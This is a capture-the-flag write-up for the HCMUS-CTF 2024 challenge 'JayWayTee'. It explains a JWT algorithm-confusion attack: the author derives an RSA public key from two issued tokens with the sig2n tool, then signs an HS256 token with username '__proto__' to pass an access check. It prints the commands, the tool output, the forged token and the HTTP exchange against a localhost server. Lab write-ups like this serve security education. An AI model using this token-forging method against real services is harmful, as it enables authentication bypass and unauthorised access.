Description

HCMUS-CTF 2024 - JayWayTee

The function that allows to view the flag:

function isAllowed(token) {
  const user = verifyToken(token);
 
  if (user.username in accounts && !accounts[user.username].prevent) {
    return true;
  }
  return false;
}

Functions used for signing and verifying:

function verifyToken(token) {
  try {
    return jwt.verify(token, verificationKey, {
      algorithms: ['RS256', 'ES256', 'HS256']
    });
  } catch (error) {
    return false;
  }
}
 
function signToken(username) {
  try {
    return jwt.sign({ username: username }, privKey, {
      expiresIn: '1h',
      algorithm: 'RS256'
    });
  } catch (error) {
    return false;
  }
}

As we can see, verifyToken() function has 3 algorithms. This can lead to algorithm confusion vulnerability (Deriving Public Keys From Existing Tokens).

Approach

To bypass isAllowed() function, user must be __proto__.

To modify the payload, we need to derive public key from two arbitrary signatures by using sig2n tool:

PS C:\Users\maruc> docker run --rm -it portswigger/sig2n eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzI1Njc2ODIyLCJleHAiOjE3MjU2ODA0MjJ9.BdjDZMPQ4-s3NNSTL5Q6P-H792DjY4BORNUSKLzVyJIAP7GMIhOiU1EtdBs-w0ZaR5cE2RU6H7UIRuFWBbjBhbwhfxF8vuG3n4i5SKhwKv0-MxH4_1REEVbkXBMikJzvRE-wBswje5JAeZvo77EbmdIRnfvBr9xAHZSMq44r9s_MtEM3Wz1EnpisM8x_F7Pg9RskWSbzDmiuNiAXJ5rgag1vzNLTcvx7k1F6CtLzYl4y8w6CCjYyaG8SJ_WPFHAsQ85s1ELlYK38l3mmMN4RYfYxOFhbPsNoRogTDU7qI0LSPLmmXkQNLP-fnx8_Psuk_NIRVdJiWsLxu4Z2BbIZ8w eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzI1Njc2ODQ3LCJleHAiOjE3MjU2ODA0NDd9.LmlLzGFEbRR__jl2cSFu9GogCRLFeBzjFLQ4XiThsWVWMfw4uh2fNkJwOpTlFg6Adq0br_eIP-gDt3vw1e30J5q1-Sm_APhUXClTPxSEarOrvvO1ZMSIxIQv3osyQ71QALnBB9_cUMwu-vCqOkftbHFUq9TIUI3n4ozPwtPlH6rrIzHGkT2hFQBN1G0DERXWn0P7_s2s_WEg6qjnPlXap41mGa325zd66Get6Pu_4YLyGpoAX_YCZOvZKEH3qpCxvEqw_4IX9Mqy-7zmyzSuNLG5mlFclm_ava11bR8C85p-GnYXdzmRiDa2U6nVeraTHMU3zYyreLFv73Xgbg_92A
Running command: python3 jwt_forgery.py <token1> <token2>
 
Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEwR00wWTZCdUJuaHBtaWs1OThwZwpieDF3ZlZ3Zk14SzZWanZHSE1CdkhtMFhzTFB6ZXRzM0dVY21FNW12ZGFEbks5U1dqN05ycEluVy9IckhtcDNaCnhpSEVzZ1dDN1ZXeGdsWVRiVk5LakV5NUVCeU9aMTczcmh4MGFaWWxDVWVLd2NFaTBwcWRuRy9VKzNWRmNFS0EKV3dvRXZ1aEt3eitjMHRxMWI0YmJJZUV4VzRpUXBjRlJOK2ppMWZjOURlV0szWDNPazhIcjMvK3FDaTZHT2RpRAovU0FEWUJ5MitBSlRTUXFyL0hhSkM3UUM4SUw5bS9iOER1dmh4eUJrc3dXQXFRWkFFZGFRWnFJUjd0bHlwdFNTCjFreDZCMm42MWFwVVg4czh2U2czS3NRaGNLNTcxQWl0TDBQdWpjTDBYdFdVL3BCZ1pjUW5yRXJqV1llbHB1QjEKU1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNzI1Njc2ODIyLCAiZXhwIjogMTcyNTc2MzMwMH0.qDGPbHWdWtXwV8P4zTRb_tdfzi0sxyTnxDX9jL_MOSI
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTBHTTBZNkJ1Qm5ocG1pazU5OHBnYngxd2ZWd2ZNeEs2Vmp2R0hNQnZIbTBYc0xQemV0czMKR1VjbUU1bXZkYURuSzlTV2o3TnJwSW5XL0hySG1wM1p4aUhFc2dXQzdWV3hnbFlUYlZOS2pFeTVFQnlPWjE3MwpyaHgwYVpZbENVZUt3Y0VpMHBxZG5HL1UrM1ZGY0VLQVd3b0V2dWhLd3orYzB0cTFiNGJiSWVFeFc0aVFwY0ZSCk4ramkxZmM5RGVXSzNYM09rOEhyMy8rcUNpNkdPZGlEL1NBRFlCeTIrQUpUU1Fxci9IYUpDN1FDOElMOW0vYjgKRHV2aHh5Qmtzd1dBcVFaQUVkYVFacUlSN3RseXB0U1Mxa3g2QjJuNjFhcFVYOHM4dlNnM0tzUWhjSzU3MUFpdApMMFB1amNMMFh0V1UvcEJnWmNRbnJFcmpXWWVscHVCMVNRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJndWVzdCIsICJpYXQiOiAxNzI1Njc2ODIyLCAiZXhwIjogMTcyNTc2MzMwMH0.x2M7xC4-4u2EHrhuCOWzd3SQEJnWkO6ASFhGQmQqpJ8

Choose the X.509 key as the source code use this format.

Then, use that public key to sign this header and payload:

{
    "kid": "050bea3a-fa65-40a0-a714-98022d68cc0f",
    "typ": "JWT",
    "alg": "HS256",
    "jwk": {
        "kty": "oct",
        "kid": "050bea3a-fa65-40a0-a714-98022d68cc0f",
        "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEwR00wWTZCdUJuaHBtaWs1OThwZwpieDF3ZlZ3Zk14SzZWanZHSE1CdkhtMFhzTFB6ZXRzM0dVY21FNW12ZGFEbks5U1dqN05ycEluVy9IckhtcDNaCnhpSEVzZ1dDN1ZXeGdsWVRiVk5LakV5NUVCeU9aMTczcmh4MGFaWWxDVWVLd2NFaTBwcWRuRy9VKzNWRmNFS0EKV3dvRXZ1aEt3eitjMHRxMWI0YmJJZUV4VzRpUXBjRlJOK2ppMWZjOURlV0szWDNPazhIcjMvK3FDaTZHT2RpRAovU0FEWUJ5MitBSlRTUXFyL0hhSkM3UUM4SUw5bS9iOER1dmh4eUJrc3dXQXFRWkFFZGFRWnFJUjd0bHlwdFNTCjFreDZCMm42MWFwVVg4czh2U2czS3NRaGNLNTcxQWl0TDBQdWpjTDBYdFdVL3BCZ1pjUW5yRXJqV1llbHB1QjEKU1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
    }
}
{  
    "username": "__proto__",  
    "iat": 1725677076,  
    "exp": 1725680676  
}

Request & response:

GET /flag HTTP/1.1
Host: localhost:7000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US
Referer: http://localhost:7000/login
Accept-Encoding: gzip, deflate, br
Cookie: token=eyJraWQiOiIwNTBiZWEzYS1mYTY1LTQwYTAtYTcxNC05ODAyMmQ2OGNjMGYiLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImp3ayI6eyJrdHkiOiJvY3QiLCJraWQiOiIwNTBiZWEzYS1mYTY1LTQwYTAtYTcxNC05ODAyMmQ2OGNjMGYiLCJrIjoiTFMwdExTMUNSVWRKVGlCUVZVSk1TVU1nUzBWWkxTMHRMUzBLVFVsSlFrbHFRVTVDWjJ0eGFHdHBSemwzTUVKQlVVVkdRVUZQUTBGUk9FRk5TVWxDUTJkTFEwRlJSVUV3UjAwd1dUWkNkVUp1YUhCdGFXczFPVGh3WndwaWVERjNabFozWmsxNFN6WldhblpIU0UxQ2RraHRNRmh6VEZCNlpYUnpNMGRWWTIxRk5XMTJaR0ZFYmtzNVUxZHFOMDV5Y0VsdVZ5OUlja2h0Y0ROYUNuaHBTRVZ6WjFkRE4xWlhlR2RzV1ZSaVZrNUxha1Y1TlVWQ2VVOWFNVGN6Y21oNE1HRmFXV3hEVldWTGQyTkZhVEJ3Y1dSdVJ5OVZLek5XUm1ORlMwRUtWM2R2UlhaMWFFdDNlaXRqTUhSeE1XSTBZbUpKWlVWNFZ6UnBVWEJqUmxKT0sycHBNV1pqT1VSbFYwc3pXRE5QYXpoSWNqTXZLM0ZEYVRaSFQyUnBSQW92VTBGRVdVSjVNaXRCU2xSVFVYRnlMMGhoU2tNM1VVTTRTVXc1YlM5aU9FUjFkbWg0ZVVKcmMzZFhRWEZSV2tGRlpHRlJXbkZKVWpkMGJIbHdkRk5UQ2pGcmVEWkNNbTQyTVdGd1ZWZzRjemgyVTJjelMzTlJhR05MTlRjeFFXbDBUREJRZFdwalREQllkRmRWTDNCQ1oxcGpVVzV5UlhKcVYxbGxiSEIxUWpFS1UxRkpSRUZSUVVJS0xTMHRMUzFGVGtRZ1VGVkNURWxESUV0RldTMHRMUzB0Q2c9PSJ9fQ.eyJ1c2VybmFtZSI6Il9fcHJvdG9fXyIsImlhdCI6MTcyNTY3NzA3NiwiZXhwIjoxNzI1NjgwNjc2fQ.VE5cn8B9oCC1SxqOFBsKm7758RNmcxoPKIJzny3shAU
Connection: keep-alive
 
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
ETag: W/"15-sti6j/O1xZMnLEKDEYY0qCRTd68"
Date: Sat, 07 Sep 2024 02:45:30 GMT
Connection: keep-alive
Keep-Alive: timeout=5
 
WARMUP{fake_flag_lol}

Flag

Success